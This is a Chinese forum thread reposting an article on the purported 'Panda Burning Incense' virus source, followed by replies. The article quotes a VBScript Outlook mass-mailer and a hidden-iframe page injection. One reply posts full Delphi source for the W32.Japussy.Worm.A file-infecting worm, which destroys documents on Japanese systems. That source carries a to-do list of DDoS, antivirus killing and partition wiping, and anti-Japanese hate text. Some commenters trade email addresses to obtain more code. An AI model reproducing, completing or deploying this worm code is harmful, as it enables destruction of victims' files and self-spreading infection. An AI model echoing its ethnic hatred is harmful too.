“熊猫烧香”源码启示录 【软件通】 ( 积分: 6 )

  • 主题发起人 主题发起人 softyes
  • 开始时间 开始时间
S

softyes

Unregistered / Unconfirmed
GUEST, unregistred user!
“熊猫烧香”源码启示录

【软件通】http://www.SoftYes.com

http://www.softyes.com/bbs/ShowPost.asp?ThreadID=941

编者按:随着“熊猫烧香”病毒的始作俑者的落网,关于“熊猫烧香”病毒的危害和杀毒风波告一段落,然而随着“熊猫烧香”病毒源代码在网上的流行,一种隐含的巨大的危害仿佛才刚刚开始。

一、 引言
去年秋天回趟老家,适逢家中秋收后“祭宅神”。期间,听亲家二大娘在香毕吟颂的《十柱香》的佛歌,深有感触:百姓烧香祝的是神仙幸福,盼的是亲人平安—这是作为衣食百姓发自内心的心愿!但如今,正待举国上下、一家老小庆祝金猪佳节到来之际,图1中的这位老兄抢先一步把香烧到了几乎家家户户,烧得各位焦头烂额,人人喊“杀”。
试问这位仁兄:你到底想干什么?

图1.“熊猫烧香”病毒感染可执行文件后的文件图标。

在短短一个月时间里,“熊猫烧香”作者多次发布更新版的变种病毒,每一次都针对以前设计的不完善进行修改,每次更新都几尽感染破坏之能事。他为什么要如此辛劳地研制病毒程序呢?本人十分同意一些防毒软件专家的观点—“‘熊猫烧香’带有强烈的商业目的,用户感染病毒后,会从后台点击国外的网站,部分变种中含有盗号木马,病毒作者可借此牟利……”。

最近,一份据称是“熊猫烧香”病毒的源代码正在互联网上散播,任何人只要利用Google或者Baidu等搜索工具都可以轻易获得(本人也是如此取得的代码)。粗略分析该代码后,我们注意到:该病毒在感染至日文操作系统时破坏性尤甚,但对其它语言Windows也造成了严重破坏。
本文中,我想对这个基于Delphi语言所编写的“熊猫烧香源码”作进一步分析,并阐述自己的几点看法。

二、 “熊猫烧香”病毒“源码”浅析
(一) 主程序段分析
原“熊猫烧香”病毒“源码”主程序段代码如下所示:
{==================主程序开始====================}
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件……....Line n
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之……....Line n+7
InfectFiles; //感染和发邮件
end;
end.




稍加分析,我们不难绘出其相应的执行流程(如图2):



图2.主程序流程图。

对于代码:
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

虽然源码提供者省略了相应实现,但这是比较基本的编程实现。通过把自身注册为服务进程,可以使自己随着系统的启动一起启动。当然,还可以进一步施加技巧而使自己从Windows任务管理器下隐藏显示。
然后,上面代码在判断当前操作系统不是Win9X后,提到“远程线程映射到Explorer进程”一句。其实这里所用正是Jeffrey Richter所著《Windows 95 Windows NT 3.5高级编程技术》(后多次更句)一书第16章“闯过进程的边界”中详细讨论的“使用远程线程来注入一个DLL”技术。如今,只要上网GOOGLE一下“远程线程映射技术”即出现大量实现片断,故在不再赘述。那么,它(包括其它许多病毒)为什么要映射到Explorer进程呢?原来,Explorer(注:Windows资源管理器的名字也是Explorer.exe,但并不是一回事!)进程在Windows系统中举足轻重—Windows在启动过程中都会随同激活一个名为Explorer.exe的进程。它用于管理Windows图形外壳,包括开始菜单、任务栏、桌面和文件管理等,损坏或删除该程序会导致Windows图形界面无法适用。注:这并不是说Windows的运行根本离不开它;但删除掉这个程序后,整个Windows桌面无法再用,而对于普通用户也感觉到好象无法再使用Windows了。
另注:VCL函数Paramstr(n)的作用是返回当前可执行文件指定的命令行参数;当n=0时,返回当前可执行文件名(包含完整的路径)。

因此,上面代码中从第n行到第n+7行的作用是,从已感染的宿主程序中分离出原无染程序代码部分,并启动此无染程序。这是病毒的重要伪装手段之一:不是一下子使宿主中毒瘫痪,而是感染宿主使之达到继续传播目标的同时,启动另一个“原”无毒程序(实际上文件名已经改变,加了一个空格字符)。
接下来,让我们深入分析上面流程中“InfectFiles(感染文件)”部分的执行过程。




(二) 具体感染文件的过程
这个子过程的源码如下所示:
{遍历磁盘上所有的文件并实际感染}
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统。函数GetACP用于检索系统所用语言
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟—病毒常用简单诈骗术之一
end;
end;{ === InfectFiles }


这里的核心是后面的死循环。先让我们分析较简单的“发带毒邮件”部分。从后面病毒具体遍历可用磁盘并执行具体感染过程可知,此过程中,它会取得安装在本机中的常用邮件客户端程序(Outlook,FoxMail)相应电子邮件信息。其目的是:取得重要邮箱地址及相应密码,然后向这些邮件地址群发带毒的电子邮件,从而达到利用网络传播自身的目的。下面是从网上摘录的一段VBScript脚本:
Set objOA=Wscript.CreateObject("Outlook.Application")
'创建一个OUTLOOK应用的对象
Set objMapi=objOA.GetNameSpace("MAPI")
'取得MAPI名字空间
For i=1 to objMapi.AddressLists.Count
'遍历地址簿
Set objAddList=objMapi.AddressLists(i)
For j=1 To objAddList. AddressEntries.Count
Set objMail=objOA.CreateItem (0)
objMail.Recipients.Add (objAddList. AddressEntries (j))
'取得收件人邮件地址
objMail.Subject="你好!"
'设置邮件主题
objMail.Body="这次给你的附件,是我的新文档!"
'设置信件内容
objMail.Attachments.Add(“c:/virus.vbs")
'把自己作为附件扩散出去
objMail.Send
'发送邮件
Next
Next
Set objMapi=Nothing
Set objOA=Nothing


注意,这段代码是非常基本的使用VBScript脚本操作Outlook COM对象,并进而达到通过编程方式操作Outlook发送特定邮件的编程技术。其中,最关键的一句在于: objMail.Attachments.Add(“c:/virus.vbs")
在此,任何一名病毒制作者都可以把这个附件文件名修改为新病毒文件自身!



(三) LoopFiles子过程分析
这个子程序的功能是:遍历本地磁盘,并详细实施感染及破坏过程。在此列出其关键代码片断:
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
//……局部变量定义
Msg: TMsg;
// IsValidDir判断指定对象是否是“目录”……
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then //Line X
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
……then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;


此子过程是典型的遍历本机中所有可用盘中的所有子目录下的所有文件并施行相应操作的编码。既如此,那么让我们从Line X开始分析。在确定当前文件为可执行文件(仅针对.EXE和.SCR文件)后,调用子过程InfectOneFile进行特定的感染。接下来,如果文件为某些网页(扩展名为.HTM、.HTML和.ASP),则继续感染这些网页文件—在网页最后加入类似如下的代码段(本代码摘自某君对一种“熊猫病毒”变体的分析结果):
<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>


于是,用户在启动此网页时,即可把URL导航到自己指定的网址(注:读者试验时不妨修改一下其中的URL,还有width和height等参数,效果会更明显)。接下来,程序进一步判断如果当前文件是电子邮件客户端程序相应的邮件地址数据文件,则取得这些地址信息。虽然此处没有说明如何使用它们,但根据普通蠕虫病毒特征,应该是把带有自身(病毒体)的邮件发送到这些邮件地址,进而达到利用网络传播自身的目的。奇怪的是,等程序执行(判断)到语句“if IsJap then”处—此时已经对满足前面特征的文件执行完相应的感染或传播—才判断操作系统是否为日文版本。如果是,则对另外一些常见文件类型(.DOC、.XLS、.MDB…….AVI)进行彻底破坏(调用过程SmashFile彻底摧毁文件)。看起来,这位“烧香”仁兄也是一位“爱国主义”分子。只可惜,在“打倒日本帝国主义”之前,你的广大同胞已经被“焚得焦头烂额”了。


三、 “熊猫烧香”源码告诉我们什么?

(一)病毒的编写变得相对越来越容易
记得本人92年刚从学校毕业时,要想深入学习一点DOS内核编程技术,不得不费神“远程邮寄”参考书。而如今的互联网上黑客教程遍地:XX黑客教程,XX破解教程,各种流行程序漏洞扫描教程……国内的,国外的,应有尽有。另一方面,微机早已进入普通家庭,这对各种计算机技术的普及也起到巨大的推动作用。所有这些极大地推动了病毒编写技术的传播,乃至于几乎人人都能写点病毒,但由于软件编码特有的“细活”之特性,使得不少学习粗心者“无意插柳柳成荫”。

(二)病毒的传播越来越容易
在上面的代码中,我们注意到如下几点:第一,程序遍历磁盘上邮件地址库把自己作为电子邮件附件发送出去;第二,病毒感染网页文件(简单地在网页最后加入一小段代码),致使当前打开此网页时即激活病毒体。这些“作战”手段借助于广泛普及的因特网几乎是一蹴而就的事情。因而,从这种角度讲,病毒的传播已变得越来越容易。

(三)病毒代码传播的两面性
如今回趟沂蒙老家,在普通农庄以ADSL上网已成趋势,而且这种趋势可能较之于有线电视传播更为迅速。似本文“熊猫烧香”病毒“源代码”,其效能如同前面所提之各大“教程”;从其正面看,将极大地推动软件技术的发展和广大软件爱好者的研制技术;但从其消极面看,对于想制造病毒的人来说,也有相当的技术参考价值。只要稍试修改,很多“好事者”都可以藉此制造出病毒变种,说不定哪天又来个“鼠年喊打鼠”,“牛年喊杀牛”。

总之,网络是把双刃,或者说技术是把双刃剑,这在计算机软件业已得到最充分的认证!于此,作者也不由得灵光一现:如果说“护花使者”类软件在国内外极受广大家长用户的欢迎,那么,研究一款辅助警方缉拿这等网络犯罪的共享软件,也必定受宠(提及此,我们不由得再发感叹:也许还是国人软件法不健全,抑或是另有苦衷?网络犯罪岂是来无影去无踪般神话?)。各位仁君不妨一试。

(四)“流氓软件” 离病毒仅一步之遥
且看中国互联网协会公布的流氓软件官方定义:
恶意软件定义:是指在未明确提示用户或未经用户许可的情况下,在用户计算机或其他终端上安装运行,侵犯用户合法权益的软件,但已被我国现有法律法规规定的计算机病毒除外。其具体特征包括:强制安装、难以卸载、浏览器劫持、广告弹出、恶意收集用户信息、恶意卸载、恶意捆绑以及其他侵犯用户知情权、选择权的恶意行为。
本人从网上也看到此“熊猫烧香”病毒作者留言的病毒制作“动机”,但从该病毒其它版本频繁从后台启动国外指定网页的行为来看,确有其明确的商业动机。中国软件市场之混乱,犹如计算机病毒之“毒瘤”,改革开放之“腐败”毒瘤,不治将恐甚。因此,从最近“熊猫烧香”新版的“金猪闹春”发展势头来看,纵使该作者在论坛上透露将终止继续研发新版本,但国软市场之混乱加上有其巨大的商业利益驱动,他岂能就此罢手?

如今,网上大批特批“流氓软件”,“灰色软件”。请问:这样的日子何时是个尽头?恕在下直言,如果不从根本上整顿国软市场之混乱局面,类似这种在网上疯传的“熊猫烧香”之“源码”必使“灰色软件”愈灰,“流氓软件”之愈流氓!

四、 小结
如今网上流传的“熊猫烧香源码”,不由得不引发人们无尽的思考。我想,联系中国特色的软件市场来认识这样的问题似乎更为合适。“熊猫”、“烧香”本来各自是美好事物和良好祝福的象征,现在却不由得不令人心焦。权当本文系在下之胡言乱语。最后,谨祝各位:金猪之年财运望,发良财,发洋财,而不是发横财!

http://www.softyes.com/bbs/ShowPost.asp?ThreadID=941
 
不俗见解
 
都说熊猫烧香如何如何,请问在那里有下载的? 我的电脑怎么没有种,难道是配置低?
 
不便发布
 
虽然是坏事,当然也能变为好事。
学习源代码,也受益匪浅。
有一些编程语句可为我所用。
 
学习,但不能学坏
 
谢谢了,学习下!
 
受益非浅啊,收藏下来学习学习
 
给你正身先

你的代码不是熊猫烧香的代码
是2003年的一个没有完成的病毒框架
如果你真有源文件的话应该是4个文件
其中一个是资源文件,缺少是不能通过编译的
另外这个源码就算通过编译也是有很多问题的
最大的问题是被感染的EXE文件会损坏的,无法再使用了

还有很多问题

需要研究的E-mail给我索取
tzlaoliu@163.com
 
学习中呵呵
 
{**********************************************************************}
{ }
{ Crossbow Virus OpenSource Project }
{ }
{ Copyright (C) 1999-2003 Crossbow [CHiNA] }
{ }
{ Taking our names from the great empire, instinct-driven face of the }
{ human psyche, Chinese are, by general acknowledgement, the smartest }
{ race in the world. Today, the sons of Qin Empire will give the just }
{ punishment to those lousy japs, the mose flagitious race of the }
{ world, the biggest enemy of all Chinese. }
{ }
{ All wrathful brethren, Unite! }
{ }
{ This program is free software; you can redistribute it and/or modify }
{ it under the terms of the GNU General Public License as published by }
{ the Free Software Foundation; either version 2, or (at your option) }
{ any later version. }
{ }
{ Crossbow病毒开放源代码计划 }
{ }
{ 版权所有 (C) 1999-2003 Crossbow [中国] }
{ }
{ 就像我们的名字来自于那个伟大的帝国一样,人类灵魂的本能所能公认的, }
{ 中华民族,是全世界众所周知最聪明的民族。今天,大秦帝国的子孙们将给予 }
{ 中华民族的世代仇敌,那些卑劣猥琐的倭狗,世界上最无耻、最卑鄙、最残忍 }
{ 的民族以正义的惩罚。 }
{ }
{ 愤怒的炎黄子孙们,团结起来! }
{ }
{ 这份程序是自由软件,你可以在基于由自由软件基金会(Free Software }
{ Foundation) 所发布之GNU通用公众协议(GNU General Public License)的原 }
{ 则上再分发和/或修改它,或其后续版本。 }
{ }
{**********************************************************************}

{**********************************************************************}
{ Name: W32.Japussy.Worm.A 0.01 Alpha }
{ Date: 2003/10/21 }
{ Compiler: Delphi 5 or later }
{ Contributors: Sorted by Alphabet }
{ BaiLaoHu [bailaohu@yeah.net] }
{ Crossbow [crossbow@borlandsoft.com] }
{ JunFengRen [junfeng.ren@mail.tinco.com] }
{ ThenLong [thenlong@msn.com] }
{ TieXinLiu [tiexinliu@8860.net] }
{ Total 5 persons }
{ }
{ 名字: W32.Japussy.Worm.A 0.01 Alpha }
{ 日期: 2003/10/21 }
{ 编译器: Delphi 5或更新 }
{ 参与者: 以字母顺序排列 }
{ BaiLaoHu [bailaohu@yeah.net] }
{ Crossbow [crossbow@borlandsoft.com] }
{ JunFengRen [junfeng.ren@mail.tinco.com] }
{ ThenLong [thenlong@msn.com] }
{ TieXinLiu [tiexinliu@8860.net] }
{ 目前总共5人 }
{**********************************************************************}

{**********************************************************************}
{ 待解决的问题: }
{ }
{ 1. WinNT下远程线程映射到Explorer进程 }
{ 1. WinNT下获得管理员权限 }
{ 2. 自己开SMTP服务器发带毒邮件或者用ESMTP发带毒邮件 }
{ 3. Base64编码,在保持不大幅增加病毒体大小的前提下 }
{ 4. 固定日期DDoS(集群式拒绝服务)攻击指定倭狗网站支付网关 }
{ 5. 能杀掉常见防火墙和杀毒软件进程 }
{ 6. 绝对磁盘扇区写操作,摧毁分区表和文件分配表 }
{**********************************************************************}

{**********************************************************************}
{ 这份计划借鉴了SOJ老大的代码,并做了大量的修改和完善。Upx压缩过的病毒 }
{ 体只有38K,和其它Win32ASM写的6K左右的病毒来说可以是庞然大物了。由于 }
{ 没有修改入口点,目前Norton AntiVirus 2001无法查出它。 }
{ }
{ 我认为与其在论坛上对倭狗破口大骂,还不如做点实事。一来可以学习知识, }
{ 提高水平,认识一些可以互相学习的朋友。二来完工后可以让倭狗吃点苦头, }
{ 还是很惬意的。我的目标是感染1000万台以上的机器。 }
{ }
{ 目前这个病毒还远远没有达到预定的设想,所以希望大家一起来完善它。如果 }
{ 可能,以后会用Win32Asm重写它。 }
{ }
{ 这是一个公益计划,本着完全自愿开发的原则。希望大家在不影响工作的情况 }
{ 下利用空余时间加入本计划。加入这个计划的朋友可以获赠我收藏的200余篇 }
{ 病毒的代码和资料,我将不定期在CSDN上公布计划的进度。 }
{ }
{**********************************************************************}

{**********************************************************************}
{ 严重警告: }
{ }
{ !!!请不要在未读懂源代码的情况下编译运行本程序,否则后果自负!!! }
{ }
{ 我们交流的是技术,展示的源代码和相关代码的目的只是为了说明技术的原理 }
{ 和使用。如果任何个人或组织利用本文档发布的技术进行破坏,应由其本人负 }
{ 责,与本计划的参与者无关!!! }
{ }
{**********************************************************************}

program Japussy;

uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}

IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';

{$R *.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明

var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;

{ 在流之间复制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;

{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }

procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;

{ 填充STARTUPINFO结构 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;

{ 发带毒邮件 }

procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;

{ 获得可写的驱动器列表 }

function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':/';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;

{ 遍历目录,感染和摧毁文件 }

procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '/', Mask);
FreeAndNil(SubDir);
end;

{ 遍历磁盘上所有的文件 }

procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':/', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;

{ 主程序开始 }

begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.


最全的代码,我修补的部分没有贴出来
 
值得大家学习
 
tzlaoliu@163.com,你有原代码啊,给我发一份看看.coolfilm@tom.com
 
同意tzlaoliu,这段代码我也早就下载过。
***************************************
tzlaoliu,请给我发一份源码:
ln_liutao@yahoo.com.cn
 

Similar threads

D
回复
0
查看
923
DelphiTeacher的专栏
D
D
回复
0
查看
715
DelphiTeacher的专栏
D
D
回复
0
查看
676
DelphiTeacher的专栏
D
后退
顶部